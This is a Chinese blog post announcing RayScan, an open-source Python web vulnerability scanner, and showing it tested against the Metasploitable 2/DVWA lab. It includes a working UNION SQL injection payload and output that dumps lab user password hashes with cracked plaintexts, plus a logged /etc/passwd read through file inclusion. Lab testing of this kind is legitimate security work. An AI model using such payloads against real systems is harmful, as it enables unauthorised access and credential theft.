我开源了一个 Web 扫描器,在 Metasploitable 2 上发现了 83 个漏洞

0 阅读3分钟

项目: RayScan — 开箱即用的 Web 漏洞扫描器 实战报告: 单目标 83 个漏洞,SQL 注入提取全部用户密码 技术栈: Python asyncio · 11 检测模块 · CLI + Web UI


为什么写这个工具

市面上的开源扫描器要么太重(配套数据库、消息队列),要么太老(多年不维护),要么只扫单一漏洞。

我想要的是一个 开箱即用、覆盖全面、还能看到实时扫描过程 的扫描器:

  • pip install 就能跑,不用配数据库
  • 命令行一行搞定,也有 Web 界面
  • 覆盖 OWASP Top 10 常见漏洞
  • 能看到扫描器在做什么,而不是黑盒等结果

于是有了 RayScan。

架构

wvs/                     ← 核心检测引擎
├── core/                ← 爬虫 + 扫描调度 + 去重
├── modules/             ← 11 个检测模块
│   ├── sqli/            ← SQL 注入(报错/布尔/时间/联合)
│   ├── xss/             ← 反射型/存储型/DOM 型
│   ├── lfi/             ← 文件包含 + 路径遍历
│   ├── cmdi/            ← 命令注入
│   ├── ssrf/xxe/rce/    ← 其他高危漏洞
│   └── api/sensitive/   ← API 安全 + 敏感信息
└── reporting/           ← HTML/JSON/Markdown 报告

web_ui/                  ← Web 可视化界面
├── app.py               ← Flask + SSE 实时日志
└── templates/

实战:扫 Metasploitable 2

我用 DVWA(Metasploitable 2)做完整验证:

RayScan 1.0.2 扫描目标: http://192.168.18.131
模块: sqli, cmdi, xss, lfi, rce, api, sensitive, xxe, ssrf
速率: 15 req/s

[*] Crawling...     49 pages, 96 endpoints, 9 forms
[+] DVWA login OK (admin:password)

[*] Phase 2/4: Running detectors...
  [sqli]      Found SQL injection in id parameter
  [sensitive] Found /phpinfo.php, /test/ exposed
  [lfi]       Found /etc/passwd via page= parameter
  [api]       Apache/2.2.8 version disclosure (80x)

✅ 83 vulnerabilities found

SQL 注入提取密码

最直接的成果:通过联合查询注入拿到 users 表全部数据:

-1' UNION SELECT 1,GROUP_CONCAT(user,0x3a,password) FROM users--

admin:5f4dcc3b5aa765d61d8327deb882cf99  →  password
gordonb:e99a18c428cb38d5f260853678922e03 →  abc123
1337:8d3533d75ae2c3966d7e0d4fcc69216b    →  charley
pablo:0d107d09f5bbe40cade3de5c71e9e9b7   →  letmein
smithy:5f4dcc3b5aa765d61d8327deb882cf99  →  password

5 个用户密码全部提取,MD5 可逆向。

两个使用方式

命令行(适合日常扫描)

git clone https://github.com/xiabai2004/RayScan
cd RayScan
pip install -e .

# 快速扫描
python -m wvs scan http://目标.com

# 仅扫特定模块
python -m wvs scan http://目标.com --modules sqli xss lfi

# 输出 JSON 报告
python -m wvs scan http://目标.com -o result.json -f json

Web UI(适合可视化操作)

pip install flask
cd web_ui && python app.py
# 浏览器打开 http://localhost:5000

Web UI 支持:

  • 深色/浅色主题一键切换
  • 实时日志流 — 和 CLI 完全一致的输出
  • 发现漏洞即时显示在结果表
  • 响应式布局,手机也能看

实测表现

指标数值
测试用例316 个,全部通过
靶场验证Metasploitable 2 / DVWA
发现漏洞83 个(含 SQLi 注入提取数据)
单目标耗时约 60 秒
支持协议HTTP / HTTPS
报告格式HTML / JSON / Markdown

下一步计划

  • Nuclei 模板集成
  • 爬虫性能优化(目前 50 URL/目标)
  • 更多靶场兼容性测试
  • CI/CD 流水线(已配置 GitHub Actions)

项目地址: github.com/xiabai2004/…

如果觉得有用,欢迎 Star ⭐ 支持!有任何问题可以提 Issue 或直接讨论。

cli运行截图1.png

cli运行截图2.png

web_ui截图.png